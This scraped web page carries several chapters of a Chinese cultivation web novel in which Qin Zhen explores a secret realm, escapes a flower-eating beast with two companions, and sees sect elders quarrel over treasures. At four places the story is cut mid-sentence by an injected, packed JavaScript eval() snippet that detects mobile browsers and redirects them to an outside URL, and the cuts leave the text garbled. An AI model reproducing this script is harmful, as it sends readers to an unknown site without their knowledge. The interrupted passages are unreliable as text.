她看向柳清沂,柳清沂感受到她的目光,摸了摸她的头,才看向那些人,笑得张扬:“实力没精进,但打你足够了。肖掌门和其他弟子们集结完便到,你们家弟子不也还没来?我身后两位确实是新入门的弟子,不过一位是我师妹,另一位是肖掌门的徒弟,不认识你们很正常,你们在修真界也没打出什么名气啊?” 这话一出,吵杂声都静了,半响才有人打着哈哈说:“柳长老还是同从前一样啊,不错不错,修行最难是保持本心。” 柳清沂懒得理了,摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦蓁话未完,柳清沂激动的说:“打得好啊小师妹!我就担心你性子软不会以武服人呢!打得好打得好!” “可师姐,那人似乎很有来头……” “够格在剑下过两招的才叫有来头,咱们也是五大宗门之一,莫慌莫慌,打了就打了。” “他自称是浮花坞的少当家。” 柳清沂没了声音,目光灼灼,秦蓁心下微沉,或许自己不该出剑…… “打得太好了小师妹!揍浮花坞的人那更是好中好!回去我要把这个好消息告诉师父,他一定也会夸你!” 秦蓁觉得,自己从前总是想太多的毛病,或许以后慢慢能改掉……师姐实在是…… 她轻轻笑,心中温暖。 待各个宗门弟子都集结完毕,每个宗门的带队长老上前,共同注入灵力,开启了秘境。 秦蓁牵着旬鹊,看着那浮动的秘境入口,中心漆黑,似含无限预知之事,她心中激荡,似浪拍礁石。 分明处在同一个世界,仅靠界碑与凡人界划分,而非真正登天的仙界,可这里,亦是与凡人界完全不同的世界。 她要在这里,做新的自己。 * 严焰晕晕乎乎撕了个传送符回到浮花坞,下人赶紧迎上来:“少当家!怎么受伤了!” 严焰听到熟悉的声音,却还是有些恍惚,本能的说:“我旧疾突然复发,找大夫来。” 下人领命,边走边在心里嘀咕,少当家不是听说柳清沂出关带队秘境,说要去道源宫阴她一把吗?这么快回来,还带着伤……不会又被柳清沂揍了吧…… 严焰还在想着那白衣女子,那人一回头,他便被那张清冷如雪的脸震惊得神志不清了,只听清她后面说的那句你身有旧疾回去治疗吧,然后身体比意识先反应过来,乖乖撕了传送符回来了。 严焰猛地捶桌,美人计!一定是美人计!自己怎么这么不争气!这便听话回浮花坞了! 唉!还没问她的名字呢。 11. 倒霉鬼和穷鬼 秘境外,各个宗门的带队长老正通过水镜观察众弟子们在秘境中的表现。 “魂隐宗的弟子们真是优秀啊,恐怕今年的宗门大比,又是魂隐宗弟子得头筹吧?” “非也非也,实力强劲然心境不足,这批弟子比起去年他们的师兄师姐还是差点,今年的宗门大比,我看孤鸿院那个弟子倒是很有希望拔得头筹。” “王长老,宗门大比还早呢,如今还是关注此次秘境。你们青剑宗的弟子水平有些参差不齐,还没找到同门的那几个弟子,恐怕要迷失在黄沙中了。” “自从掌门……唉,罢了罢了,我也只能带这几位弟子来秘境历练,能不能有所收获还得看他们自己了。” 众人皆知青剑宗掌门多年前被个江湖客打断了本命剑,从此剑心破碎,整日颓废在后山,不问宗门事务,青剑宗快乱成一锅粥了。 众长老或真心或假意的宽慰几句,便又看向水镜中其他宗门的弟子。 “张长老,我记得你们两界观这次来的,都是从前的凡人弟子吧?表现都很不错啊,从前还说李掌门收凡人教学仙法是自讨苦吃,如今看来当真是有远见!” “确实是从前的几位凡人弟子,现在皆已金丹了。多亏当年那位前辈,竟愿放弃飞升为世人谋福祉,真把凡体仙体这道壁垒打破了。”张长老一番话,引得众人唏嘘感慨,称赞声连连响起。 “这是哪个宗门的弟子?洞察力惊人啊,六足匿虫都能发现,难道已修出神识……嘶,竟才筑基期!”一位长老惊叫。 众人看向水镜,白衣黑发的女子神情冷淡,对着她的小木剑施了两遍清洁术。 “六足匿虫仅有两毫米大小,行动无声无息,速度也快,难道她真是用肉眼看到的?” “大概身上带着些显形法宝吧,筑基期不过刚通五感,仅比凡人敏锐,单是用听用看不可能辨出六足匿虫……” “怎么不可能?我小师妹厉害着呢,而且我师弟可是天天给她传授各类秘境经验,你们这些老头喝的水都没我师弟闯的秘境多,少见多怪!”柳清沂懒洋洋开口,话语嚣张。 但却没人敢说什么,顺着她的话夸赞不已。 “哦?你师弟……许翊之教的?”一人走到柳清沂身侧,问。 柳清沂看过去,一身红衣,手持红扇——哦,该死的魂隐宗的人,她凤眸微眯,周身气势瞬变:“劝你别说第二句话。” 那人一僵,最终还是退回原地,沉默看回水镜。 旁边几位长老松了口气。 “咦?这位弟子……这是做什么?”一位长老疑惑道。 众人随着他的目光看过去——一个十三四岁的小弟子,身穿蓝白祥云服,正在一片花海中……编花环。 “看这道服,是道源宫的弟子吧?”众人听了这话,又悄悄把目光投向柳清沂。 柳清沂只专心看着水镜里,还在编花环的旬鹊。 她也不清楚,这人想做什么。从苏逐那里得知了旬鹊很可能与天道有关时,她就留意起了这人,但旬鹊一直没什么动作,此次宗门秘境,很可能会伺机而动。 她不想看见小师妹同从前的自己一样,被天道的人蒙骗。 * 旬鹊编好了花环,欣赏了一下,很是满意。 她自然知道,宗门秘境这种试炼,各宗门长老都会在外面拿水镜看的,毕竟只是个小试炼,不可能让任何弟子出事,她在这么多人眼皮底下,想给女主拉怪可不能太过明显,只能搞点小动作,比如……编花环。 她有些汗颜,虽然这个举动实在透着傻气,但从前许多回为了任务,她不也天天装疯卖傻嘛,倒也无所谓了。 那片花海中藏着一个噬花兽,这花海其实是它的粮仓,但因为花太多,那些弟子来来去去的它也懒得管,所以这片花海算是个公认的安全地带。 剧本里女主就是路过这里,啥也没干但莫名其妙引起了噬花兽的注意,然后被噬花兽一路追着到了一处裂谷,接着坠崖大法懂得都懂,收获无数秘宝。 宗门秘境被众长老设了限制,每个人进来后都会身处一片黄沙中,但那黄沙是虚象,辨清就可出来,真正踏入秘境,且同宗门的人会有一丝感应,这是为了让弟子们共同合作。 旬鹊一进来就知道剧本又崩了,因为剧本里女主出了黄沙后就来到了花海,但她感应到秦蓁的位置并不在附近。 她唉声叹气,只能自己给女主拉怪让她打帮她升级拿奖励了。 于是她狠狠薅了几朵那片花海中噬花兽最爱吃、数量也最稀少的花,编了个花环。自己坐在花海编花环的时候估计那噬花兽还没明白怎么回事,但她若是将这些花带出花海了,它就知道自己这个人类是来抢它吃的了,而且还专挑数量最少的抢。 旬鹊拍拍身上细碎的枝叶小草,站起身,感应了一下秦蓁的位置,在听见身后野兽的低嚎时,御剑拔腿就跑。 “这,这小姑娘怎么这么倒霉,把噬花兽招惹了。” “奇怪,从前噬花兽可一次都没出来攻击过人,怕是巧合吧?不过这小姑娘跑得倒是快得很,应该没多大事,噬花兽速度慢,看不见人就会回去了。” 柳清沂听着众人的讨论声,眼神微沉,倒霉吗?真是巧合……? 柳清沂看着水镜,水镜中,旬鹊在朝秦蓁的方向跑去。 她眼中划过微光。 * 秦蓁没有感应到旬鹊。 师姐在讲秘境事宜时说过,进去后同门间会有一丝感应,可她出了黄沙在这片丛林中转了许久,都没有感应到道源宫弟子的气息,大概他们不在这一块吧。 她便自己在这丛林探索起来,历练是自己的,没有同伴在她也得历练的。 终于,在她杀了三只玄阶野兽、九只黄阶灵兽、不记得多少只各种虫类后,走出了这片丛林。 秘境各种虫兽按天地玄黄分等阶,其中野兽又比灵兽低等一些,师兄说过,宗门秘境的虫兽都是长老们清点过的,在保持秘境原生态的前提下,只会放出一只玄阶灵兽,十只玄阶野兽,和若干只黄阶的灵兽野兽。 才刚进秘境,便碰见三只玄阶野兽,自己似乎……有点倒霉。 这般想着,她继续往前走,没走多久,便感受到前方有玄阶野兽的气息。 自己确实有点倒霉。 但她不愿绕路避开。 来秘境前的五日,她在坐忘峰修习,白天一半时间练剑,一半时间听师兄传授秘境经验,晚上也打坐修炼,收获颇丰,借着秘境正好练练实战。 她练剑时从来感受不到自己的进步,因为从拿起剑挥出的第一下,就完美得分毫不差。 自己修炼起来,实在太顺了。 顺到她很慌,不敢放松停歇。担心这种从未修炼习剑、但拿起剑却如有神助的感觉,不是真正属于她的力量。 “那便继续练剑。练到完美了也练,不停的练,挥剑出去时,便不会想其他。” 她想起苏逐的话,握紧小木剑,抬脚往前走。 看见那只玄阶野兽时,它已经被人杀死,大卸八块,一位身穿黑白道袍的少年正在挖它的内丹。 她认出那死掉的玄阶野兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116416|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是只通玉兽,师兄说过,这种灵兽看着洁白漂亮,实际内丹有剧毒,遇到了不可像其他兽类一样挖了内丹拿去吸收涨修为。 “通玉兽的内丹有剧毒,不能挖也不能吸收的。”她开口提醒。 那人回头,波澜不惊的一双眼,轮廓棱角分明,相貌俊俏,他开口,声音低沉带哑:“我知晓,多谢。” 接着回头继续挖内丹。 秦蓁蹙眉,刚要说什么,那人却已将通玉兽的内丹挖出,转身摊开手掌给她看手心那颗玉白色的内丹。 秦蓁很是惊讶:“通玉兽的内丹挖出便会破碎,你是怎么取出的?” “隐匿气息就可以了,百尺内没有生人气息,通玉兽的内丹便不会破。你身上有隐匿气息的法宝吧?方才我没感应到你的气息。”那人说。 秦蓁想起师姐给的发带,点了点头,见这人似乎挺好说话,便问出自己的疑惑:“通玉兽的内丹不能吸收,你挖来是入药吗?” 男子摇头:“有人高价收,我卖钱。” 秦蓁点头,下一瞬提起小木剑朝男子脸侧刺去。 男子凝瞳,就要抬剑,却突然感受到什么,卸掉聚起的灵力,对秦蓁抱拳道:“多谢。” 秦蓁的木剑剑尖上,一只六足匿虫刚刚死去。 她对着小木剑施了两遍清洁术,觉得还不够,又施了一遍,才皱着眉,勉强将小木剑收回。 男子待她动作完,才问:“可否告知我你是怎么发现六足匿虫的?” 秦蓁说:“气味。我师兄告诉我,六足匿虫飞起来时会有一丝奇怪的味道。” 男子沉思一会儿,点头:“确实如此,有一丝怪异的香味。闻到香味,便说明六足匿虫已经飞起来,准备对目标发动袭击了。” 秦蓁应声。六足匿虫虽小,毒性却猛烈,人被咬到会有持续半日的剧烈痛感,若三日内未找大夫医治,伤口便会开始溃烂。 男子拿出一个木盒,将通玉兽的内丹放进去,再将木盒存入储物戒,然后问:“我们也算相识了,要不要结伴一起走?” 她刚要回答,却突然听见熟悉的声音。 * “柳长老,你小师妹果然厉害啊,经验老道,不像个新入门的弟子,坐忘峰果然人才备出啊!” “这小姑娘叫什么名字?气质也出尘,磨砺几年必有所为。” “就是感觉……真有点倒霉啊,六足匿虫我们只放出了两只,都被她碰上了。” “那些高阶的兽类也是,被她碰上了一半。不过在她实力足够的情况下,其实也算一种好运吧?收获了很多天灵地宝,毕竟危险与机遇并存。” 柳清沂一言不发,方才在众长老关注其他弟子时,她一直看着水镜中的旬鹊。 旬鹊一会儿快一会儿慢的,与噬花兽保持着一个不远不近、不会让对方放弃追踪的距离,朝秦蓁的位置跑去,直至相遇。 “阿蓁姐姐!小鹊终于找到你啦!” 熟悉的声音响起,秦蓁转身,看到旬鹊从不远处跑来,到她面前举起手中的花环:“阿蓁姐姐,这是我给你编的哦!你戴上吧?” 她笑着答应,微微低头让旬鹊把花环戴到她头上。 “摘下来。” 秦蓁看着身旁突然出声的男子,神情讶然。 男子表情冷硬,有些不善的看着旬鹊。 她正要开口,却见那男子突然向她伸手,想要将她头上的花环摘下。 她躲了一下,男子的手擦过她发丝,与此同时,野兽愤怒的嘶吼声响起。 男子大喊:“跑!” 12. 不伤人,但要命 秦蓁起先不知道为何要跑,她听见野兽的嘶吼声,感应到是一只玄阶野兽,提剑回头准备迎敌。 然后她看到一只浑身土褐色、唯有头顶有一朵洁白小花的巨兽,似在暴走边缘,朝她一爪子拍了过来。 这是噬花兽。 师兄说过,遇到噬花兽,拔腿就跑。 倒不是因为打不过,而是因为……穷。 噬花兽以各种花类为食,万物循环之间,它却也滋养着一方的灵花灵草,并且它有个很要穷鬼命的天赋技能——它受到的灵力攻击,会反噬到它滋养的那些灵花灵草上。 也就是说,如果想将噬花兽杀死,那整个秘境的灵花灵草会比噬花兽先死,其中不乏许多价值连城的稀有灵草,然后他们就会欠下一堆债。 秦蓁想起师兄讲述他的艰难还债史时,一脸痛不欲生的表情,又想起坐忘峰的几间竹木屋,想起自己刚刚开始的修炼路……想完了,脑子里只剩一个字:跑。 她硬生生抑制住了自己挥剑抵抗的本能,御剑避开那只大爪,然后飞速逃跑。 没想到旬鹊和那个黑白道袍的男子也跟着她跑,她喊了一声:“分开跑!” 那男子也喊:“它是跟着你头上的花环!它以为你抢了它的东西!快扔掉!” 然后是旬鹊惊慌的声音:“我看其他人摘花没事啊!” 秦蓁犹豫一瞬,将头上花环摘下,往后扔。 没想到噬花兽根本不看那被扔下的花环,依旧朝着秦蓁一爪子拍来,秦蓁匆匆闪开,继续御剑往前跑。 “怕是触怒它了,恐难善休。这小弟子是你何人?也不知是有心还是无心害人!”那男子声音很冷。 旬鹊一下子怒了,你懂个屁!这可是女主的大机缘!被噬花兽追一追又没什么事!于是她也大喊:“我当然是无心!我从前是凡人,哪知道这些!你又是何人!” 秦蓁的声音穿插进来:“小鹊是我妹妹。” 旬鹊一下子熄火了。 男子听到旬鹊说自己曾是凡人,语气好了一些:“孤鸿院弟子,林赴川。” 旬鹊刚熄下的火又冒出来了,怎么又碰上大反派了! 林赴川,是个天才剑修,一路成长到打遍天下无敌手,然后堕魔,成了剧本里的终极反派boss,女主拼死将他封印,最后悟道飞升。 剧情里这人出现的时候就已经堕魔了,与现在很不一样,旬鹊根本没认出来。 真是捅了反派窝了。 旬鹊心下嘀咕,女主怕不是有什么吸引反派的体质,这乱七八糟的剧本。 “我们分开跑,若它依旧追我,你们各自去历练就好。”秦蓁说。 林赴川道:“方才我刚邀请你结伴,这下遇事便要抛下你,过于不义。” 旬鹊也依旧跟着秦蓁,剧情太崩,她得看着女主坠入裂谷拿到天道的开挂大礼包才安心。 于是三人被噬花兽追得到处乱窜。 终于在秦蓁感觉体内灵力快要枯竭时,前方出现一道裂谷。 旬鹊眼睛一亮:“阿蓁姐姐!我们跳下试试,这怪物总不会跟着跳吧。” 林赴川也说:“可以一试,只是不知底下有多深,我们的灵力不一定够支撑结界。” 秦蓁回头看了眼因为狂暴变得速度飞快的噬花兽,叹气:“跳吧。” 打又不能打,只能一跃解千愁了。 三人支起结界,齐齐跃下。所幸这裂谷并不算深,在秦蓁的灵力彻底枯竭前,她触到了地面。 裂谷下很暗,旬鹊和林赴川的声音响起来,她应声,眼前白光闪过,旬鹊拿了颗夜明珠出来,照亮了四周,三人走近。 “那噬花兽没跟下来。我灵力所剩无几,一时半会怕是上不去,我们是原地休整还是在这底下找找有没有出路?”林赴川问。 “我们分开行动怎么样?我跟阿蓁姐姐走这边,你走另一边,找到出口再回来汇合,我还有多的夜明珠,可以给你。”旬鹊说。 她可不想被这反派看见开挂大礼包,白白便宜了他。 林赴川没答应,只说:“非必要情况下,秘境中我不会借助外力。” 这话说完,原本在垂着眼思考的秦蓁抬眼看了他一下,似笑非笑:“你若灵力枯竭,可还能挥剑?” 他答:“能。” 秦蓁轻笑:“那便在此处找找出路,不过还是一起走吧。” 旬鹊很有些不高兴,很想问女主你对个反派魔头笑什么,明明从前对不熟悉的人都不会多搭理的。 林赴川却懂,这是身为剑修的欣赏,他问:“你亦能,对吧?你的灵力应当已彻底枯竭。” 秦蓁点头:“师父说,剑修该回归质朴,不依赖灵力出剑。” 林赴川低笑:“我师父也说过,但他的剑心却碎了,再拿不起剑。我有时也担心,我会不会有一天也找不到拿剑的理由。” 秦蓁停下脚步,认真看着林赴川的眼睛,说:“拿剑不需要理由。” 林赴川没说话,看着那双蕴含决心与力量的眼睛。她还拿着剑修入门的小木剑,需催动灵力才有剑的锋利,但却说还能挥剑,怕是已修出剑意。 他笑道:“确应如此。” 这时旬鹊的声音响了起来:“阿蓁姐姐!看前面!” 秦蓁移开眼睛,看向旬鹊指的地方,似乎堆了些什么东西。 三人上前,只见是好几本秘籍法宝和一堆丹药,俱都沉默了。 旬鹊:天道,你给大礼包也不用给的这么明显吧……这简直一眼挂啊! “……很是蹊跷。”秦蓁说。 林赴川也说:“障眼法?” 旬鹊欲哭无泪:不是的女主,这只是一堆无害的秘宝而已,快收了吧! 她说:“说不定是之前来过这里的高人留下的,造福后来人。” “先收起,出秘境后问问长老们吧。总不能看着秘宝理都不理,万一真是大机缘呢?”林赴川说。 旬鹊终于看顺眼了这个反派一秒钟,但这下就必须得分他些东西了。该死的反派,抱上女主的金手指蹭气运来了! “三人平分?”秦蓁问。 旬鹊摇头:“阿蓁姐姐,我的那份给你。” “为何?我们一起发现的。” “我编花环差点害了阿蓁姐姐,我不要。”这就是旬鹊想的,完美圆回来她的天真无辜形象、又能让秘宝全归女主的办法——当然,没想到会有林赴川这个插进来的第三人在这里。 秦蓁的表情是她很熟悉的那种、专对亲近之人展露的那种温柔,她看着秦蓁,莫名觉得有一点点委屈,只是她也不知道这份委屈从何而来。 秦蓁说:“我不要你的那份,我知道你是无心,也是想为我好。” 旬鹊还是不要,她拿了没用,她又不用真的修炼的,女主拿了才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116417|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有用。 “不如全都上交长老们,由长老们分配吧,本身这裂谷下有这么一堆秘宝就已是奇事,说不定有什么渊源。”林赴川说。 秦蓁想了想:“好。” 旬鹊大惊:不是,我这么千辛万苦演半天才让女主顺利得到天道的外挂,你要上交?? 她横蛮道:“不行!阿蓁姐姐拿着!” 秦蓁拍拍她的头:“我不要的,外物过多,不利于修心,师父他们已经给了我很多保命法宝了。” 林赴川也说:“不错,修炼更重要的是修心,秘宝法器过多,会很依赖它们。” 这下旬鹊对这个还没黑化的反派也肃然起敬了,但是,你们是真的一点不觊觎这些好东西啊! 她有点怀疑人生,想象不到以后的剧情她该往哪个方向努力才能拉回来。 “还是得早点上去,噬花兽狂暴,不知会不会有其他人遇到,万一出手打了它……”秦蓁顿住,想到可能有哪个倒霉弟子不认得噬花兽攻击了它,然后领到天价欠债单,语气有些飘忽:“早知先跟师父学些拘缚阵法了。” 林赴川叹气:“可惜我也不会……” 秦蓁沉默一会儿,说:“不如我们捏碎秘境玉牌出去吧,噬花兽感应到我们离开秘境,便会回去了。”这也是许翊之教的,噬花兽不好战,罪魁祸首离开了秘境,它就会憋屈的趴回自己的花海里了。 “若是你们还想历练,我这有回灵丹,你们吃了御剑上去,我出秘境,噬花兽应该也会回去,若是它扔在狂暴……我跟师姐说明下情况,让长老们布个拘缚阵。”秦蓁接着说。 只是不到弟子们性命攸关时,长老进入秘境,是有些不合规矩,但也算特殊情况,总不能因为意外将整个秘境的灵花灵草都毁了。 林赴川问:“那你这次的历练呢?” 秦蓁说:“我历练得差不多了,秘境内除了那只玄阶灵兽,没有对我有收获的东西了,但我感觉若是对上它,应该也不难取胜。” 林赴川笑:“原先我听你说要出秘境,还想责问你为何不将自身的修行放在首位,原来你已将修行修心皆放在了首位。” “此乃儒道?圣人之心,心怀大爱。”林赴川问。 秦蓁思索一番,摇头:“天道。” 林赴川讶然。 秦蓁笑起来:“我理解的,天道。我道即天道,修炼飞升,皆要有道心,可每个人的道心却不同,那么我的道,即是天道。” “大道无情即是有情,无为即是有为,我想护世间,那天道便是护世间,于此我才能顺应天道,修成道心。” 旬鹊感受到女主正道的光芒普照了整个崖底,十分感动,虽然女主天天跟她师门的那几个反派混在一起,但是果然思想还是很正道的,剧情崩了,似乎也不用太过杞人忧天,女主还是心怀正义一心向道的,小小飞升定然不在话下。 林赴川许久才说:“你这是霸道了,若是天道并非无情无为……” 他没说完,笑道:“罢了。既如此,一同出去吧,我本就是为了通玉兽的内丹而来,宗门秘境历练不到我。” 秦蓁也不纠结林赴川未完的话,问旬鹊:“小鹊呢?” 旬鹊只想跟着女主走,便说:“我也出去。” 三人捏碎玉牌,出现在秘境门口,瞬间被数道目光注视——秘境侧边水镜旁的各位长老,全都用一种复杂的眼神看过来。 13. 我不识货啊! 柳清沂上前,仔细打量了他们一会儿,确认三人没有受伤的痕迹,才松口气:“怪我之前没说,那裂谷是宗门秘境边缘了,底下有只地阶灵兽,你们捏碎玉牌很及时。” 灵兽到了地阶的实力,和地阶以下的那些灵兽有着天壤之别。 秦蓁略一迟疑,问道:“秘境……还有边缘?” 柳清沂点头:“对,边缘会连着其他秘境,修真界所有秘境,皆可相通,但一般……没人能到边缘处。” 秦蓁还想问,柳清沂微微摇头,向她传音:“回坐忘峰说。” 秦蓁眼底闪过一丝惊讶,没想到秘境边缘的问题竟是不能在外说的。 “柳长老,我们是为噬花兽出秘境的,并没有在裂谷下遇到地阶灵兽。”林赴川对柳清沂行了个礼,说道。 “没有遇到?”柳清沂皱紧眉头:“你是……我对你有点印象,你应是青剑宗弟子,怎会穿着孤鸿院的道袍?” “晚辈确实曾是青剑宗弟子,柳长老并未记错,只是师父剑心破碎,我今年及冠后,他便将我托付给了孤鸿院一位长老。”林赴川面色如常,似乎这件事对他并无影响。 柳清沂看着他有些欲言又止,最终却什么也没说。她转头看向秦蓁:“小师妹,将你们在裂谷下的事与我说一遍。” 秦蓁便如实说了一遍。 “所以……没有地阶灵兽,只有那些秘宝?”柳清沂问。 秦蓁说是,将装着秘宝的储物戒取出,递给柳清沂:“都在这里面,我单独拿了个储物戒装。” 柳清沂接过,却并没有马上打开,她垂着眼,看不清神色。 这时本来围在水镜前的众长老聚过来了,有几位甚至在激烈讨论着什么,最终一位长老说:“柳长老,我们也都听见了你这位小师妹说的话,那些秘宝定然是那人留下的,该各宗门一同处置。” “柳长老,你这小师妹……我看不会和那人来自同一个地方吧?秘境边缘,可不是什么人都能去的。” “我看保险起见,让她去凝魂阵上站上一站……” 未尽的话语消失在一炳雪色长剑下,柳清沂的莲唳剑擦过那位长老耳侧,削断了几缕发丝,威胁意味十分明显。 “柳长老,做人不能太过霸道,易惹众怒。”身穿红衣的那位魂隐宗长老往前一步,刚说完这句话,便被柳清沂一剑刺穿肩膀,速度快得他根本来不及反应,直至剑刃抽出,剑尖残留的灵力从伤口横冲直撞钻入他的经脉,他手抵着肩,一口血吐出。 柳清沂终于抬眼,气势迫人:“魂隐宗的人,方才我就说过,劝你不要说第二句话。知道我师弟是许翊之,还敢在我面前说话,是提醒我劝他早日去灭了你们满门吗?” “至于惹众怒。”柳清沂笑得万分明艳:“我又不是没惹过,不然你们怎么这么怕我?忘了?” 这话一出口,长老们俱都安静下来。 “我小师妹和那人并无关系,我不会让她去站凝魂阵。”柳清沂说完,众长老就低声交谈了起来,好几人面色犹豫,是想开口但又不太敢。 “秘宝可以交由各宗门共同处置。”柳清沂话锋一转,那几个面色犹豫的长老明显松口气,她看着这些人,讽刺的笑。 “柳长老果真如传闻般护短。”林赴川这样说,语气却并不怎么惊讶。 这话让秦蓁回过神来,心情复杂。她知道的太少,不清楚那裂谷有什么渊源,让这些长老这般……忌惮。 “那人”是指谁呢?长老们又为何要我去站凝魂阵?凝魂阵是做什么用处? 秦蓁想问的很多,却也只得等回了坐忘峰才知道了。 但她明白,柳清沂这番举动定是为了保护她。 不让她站阵法,却交出秘宝,听长老们的话,这些秘宝应当是他们口中的“那人”留下的,似乎很是重要。 明明……师姐和她不过认识半月都不到,为何护她到这般地步。 一人难抵众怒,这是肯定的,能抵住不过是因为,这些“众”和“怒”,都还不够多而已。 秦蓁抬头看向柳清沂,她已将储物戒打开,用灵力拖起那些秘宝,好让众长老看到。 “解毒丹、化骨水、生骨丹、回生丸、白骨续命丹、万蛊散、渡劫丹......果然是那人的东西!只有那人才有这等好东西!” “玄天秘典、天罡功、轮回经、鬼影谱、混沌阴阳诀......” 长老们眼神灼热的望着那些秘宝,每个人眼里都有占为己有的欲望。 秦蓁心想,处置这些秘宝,恐怕又是一番功夫。 “这里面许多名字我倒是听过些江湖传闻,可惜摆我眼前我却不识货。有没有后悔?” 秦蓁神情茫然片刻,才发现林赴川是在问自己,她看过去,依旧是波澜不惊的一双眼,并没有对那些秘宝的渴望。 她摇头:“我也不识货。” 林赴川愣了下,看向她的眼里带着笑意,开口:“还没有问你的名字?” “道源宫坐忘峰弟子,秦蓁。”她答。 她是真的不识货,她刚开始修炼,别说各种秘宝丹药了,剑招阵法她都认不全,但也并不觉得多可惜,秘籍再厉害,也得适合自己才行,身外之物或许能让人一步登天,但用完了便会发现自己的两手空空。 她是剑修,她的手里有剑便好。 这里面最识货最后悔的恐怕就是旬鹊了,她没想到天道的开挂大礼包成了这些长老口中“那人”留下的东西,大概是天道剧本演化自动补的小情节,毕竟高人前辈留下给后人的秘宝,比起莫名其妙出现在裂谷底下、还堆得整整齐齐的一眼挂,要合理得多。 只是这些本应属于天选女主的东西要给这些臭老头们争来争去了。 她叹气,算了,女主说什么就是什么,天大地大女主最大。秦蓁道心坚定,飞升是肯定没问题的,不要天道给的挂那便不要吧,天赋根骨才是铺砌修炼路的基石,秘宝不过是让她能躺平开摆。 女主要发奋图强,不和她一起当咸鱼。 众长老的讨论十分激烈,这下子也完全不在乎柳清沂的态度了,好几人大声叫道要立刻联系掌门开宗门会议决定这些秘宝的处置方案,柳清沂挥手将秘宝往众长老的方向一抛,彻了灵力,看着那些长老互相挤着争接秘宝,笑得花枝乱颤。 眼底却是寒气十足。 旬鹊,果然啊,跟那人一样,是天道的人。这回的天选之子,是小师妹吗? 她转身看向秦蓁,少女白衣黑发,面色冷淡的看着众长老们争吵,像一座无悲无喜的玉观音。 ......可怜人。 她走过去,照常摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116418|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸秦蓁的头,问:“小师妹,若是师姐不想你有这些秘宝,你怨我吗?” 秦蓁摇头:“不怨,我本来也没打算要的。” 她轻笑,继续抚摸秦蓁发顶,又问:“小师妹,若是师姐说这些秘宝会害了你,你信我吗?” 秦蓁点头:“我信,盈满则亏,物极必反。” 她心中酸涩,绽开最温柔的笑容,轻声说:“小师妹,我们回坐忘峰吧。” “不管长老们了吗?还有秘境的同门……” “别担心,我通知了肖掌门来,他比我招人喜欢些。”柳清沂眨眨眼,带着一丝难得的俏皮。 秦蓁却认真说道:“师姐也很招人喜欢,师姐很好。” 柳清沂眼眶微红,一时没有言语。过了会儿,她侧身对林赴川说:“林师侄,就此别过。” 林赴川抱拳行礼:“柳长老,秦师妹,旬师妹,就此别过。” * 传送回坐忘峰后,柳清沂撤掉阵法,笑着问旬鹊:“小鹊是回日月峰吗?还是陪你的阿蓁姐姐玩一会儿?” 旬鹊说:“阿蓁姐姐今日的剑还没练呢,她肯定要练剑的,小鹊也要努力,我回去修炼!” 秦蓁笑起来,却没反驳,她想先跟师姐问清疑虑,之后是要练剑的。 柳清沂点头,对秦蓁说:“小师妹,我方才那样说,是因为那些秘宝,曾经是我的东西。” 旬鹊刚要聚灵御剑的手停住了。 “我刚修炼时,总会莫名其妙捡到这些东西,有一句话叫‘天上掉馅饼’,大抵就是这样。” 旬鹊收回剑,转身睁着兴致勃勃的眼睛凑过来:“柳长老要讲故事嘛?小鹊也想听!” 柳清沂笑笑:“好,小鹊也听。” “我从前一直觉得自己运气特别好,历练总能收获很多相当厉害的秘宝,其他同门要九死一生得来的东西,我因为好气运,得来不费吹灰之力,所以玩心也大,经常不好好修炼,不过我修炼也很容易,随便练练修为就升得很快。但后来我修为巅峰后,从前有多么容易得来这一切,那时失去的便有多容易。因为失去了一切,心境不稳,后来我便走火入魔了,然后遇到一个人,那人跟我说,我只要看淡这一切,便能悟道飞升。” “但我的亲妹妹也死在我失去的那一切里,我看不开。至今没有飞升。” “后来我把那人杀了,他的灵兽逃进宗门秘境的边缘,我那时已失了好气运,到不了秘境边缘,拿那灵兽没什么办法。我出秘境,杀了很多我该去杀的人。直到遇到师父,他把我心魔封住,我慢慢开始从头修炼。” “这回修炼的,才是我自己的力量。” 柳清沂说完,看着皱眉的秦蓁和沉思的旬鹊:“故事讲完了。” “那人是谁?”秦蓁问。 “是我曾经的道侣。” “他为什么说看淡一切便能飞升?”秦蓁问。 “因为他是......”柳清沂抬手指了指天空,笑道:“不能说哦,师父不在,我不会布遮天阵法。” 秦蓁眉皱得更紧,又问了许多问题,柳清沂一一解答,余光却观察着旬鹊。 